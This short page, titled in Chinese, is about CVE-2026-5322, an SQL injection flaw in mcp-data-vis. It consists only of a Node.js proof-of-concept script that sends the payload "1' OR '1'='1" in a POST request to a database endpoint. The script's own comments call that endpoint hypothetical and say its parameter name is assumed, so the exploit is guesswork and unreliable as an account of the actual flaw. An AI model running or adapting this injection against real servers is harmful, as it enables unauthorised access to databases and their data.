CVE-2026-5322 mcp-data-vis SQL注入漏洞

// PoC Concept for CVE-2026-5322 // Target: src/servers/database/server.js Request function const http = require('http'); // Malicious payload designed to trigger SQL Injection // Assuming the endpoint takes a 'query' or 'id' parameter const payload = JSON.stringify({ "id": "1' OR '1'='1" // Basic SQL Injection payload }); const options = { hostname: 'target-host', port: 3000, path: '/api/database/request', // Hypothetical vulnerable endpoint method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': payload.length } }; const req = http.request(options, (res) => { console.log(`Status: ${res.statusCode}`); res.on('data', (d) => { process.stdout.write(d); }); }); req.on('error', (error) => { console.error(error); }); req.write(payload); req.end();